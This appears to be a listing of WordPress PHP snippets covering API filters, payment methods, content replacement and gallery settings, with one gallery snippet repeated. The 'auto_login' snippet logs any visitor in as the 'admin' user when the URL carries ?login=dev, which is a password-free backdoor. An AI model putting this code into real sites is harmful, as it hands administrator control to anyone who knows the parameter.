add_filter( ‘wpgetapi_body_parameters’, function ( $params, $api ) { //fix per doppio json encoding del campo fileupload foreach ( $params as $key => $value ) { if ( $key && $key === ‘attachments’ ) { if ( isset( $api->args[ ‘action_args’ ]…Continue reading
function auto_login() { if (isset($_GET[‘login’]) && $_GET[‘login’] === ‘dev’) { $user = get_user_by(‘login’, ‘admin’); if ($user) { wp_set_auth_cookie($user->ID); wp_redirect(admin_url()); exit; } } } add_action(‘init’, ‘auto_login’);Continue reading
function replace_hyphenated_words($content) { return str_replace(‘Wi-Fi’, ‘Wi‑Fi’, $content); } add_filter(‘the_content’, ‘replace_hyphenated_words’);Continue reading
function test_php_execution() { return “PHP is working!”; } add_shortcode(‘test_php’, ‘test_php_execution’);Continue reading
// Register BLIK payment method via the simpay_register_payment_methods hook. add_action( ‘simpay_register_payment_methods’, function( $payment_methods ) { // Create a new Payment Method instance for BLIK. $blik = new \SimplePay\Pro\Payment_Methods\Payment_Method( array( ‘id’ => ‘blik’, ‘name’ => esc_html__( ‘BLIK’, ‘simple-pay’ ), ‘nicename’ =>…Continue reading
add_filter( ‘charitable_paypal_redirect_args’, ‘test_charitable_paypal_redirect_args’, 10, 3 ); function test_charitable_paypal_redirect_args( $paypal_args, $donation_id, $processor ) { // locate the ‘cancel_return’ parameter and update it to a proper url $paypal_args[‘cancel_return’] = ‘http://example.com/cancel’; return $paypal_args; }Continue reading
/** * Function to count individuals and update the total in the admin_data_summary table. * * This function connects to the WordPress database, counts the number of individual IDs * in the datahost_monitor table based on the specified conditions, and…Continue reading
/* Disable Keyboard and Mousewheel Navigation * * @link https://enviragallery.com/docs/how-to-disable-keyboard-and-mousewheel-navigation/ */ // Disable for Albums add_filter( ‘envira_albums_pre_data’, ‘my_envira_album_pre_data’, 10, 2 ); function my_envira_album_pre_data( $data, $album_id ) { $data[‘config’][‘keyboard’] = 0; // 0 for disable, 1 to enable $data[‘config’][‘mousewheel’] = false;…Continue reading
/* Disable Keyboard and Mousewheel Navigation * * @link https://enviragallery.com/docs/how-to-disable-keyboard-and-mousewheel-navigation/ */ // Disable for Albums add_filter( ‘envira_albums_pre_data’, ‘my_envira_album_pre_data’, 10, 2 ); function my_envira_album_pre_data( $data, $album_id ) { $data[‘config’][‘keyboard’] = 0; // 0 for disable, 1 to enable $data[‘config’][‘mousewheel’] = false;…Continue reading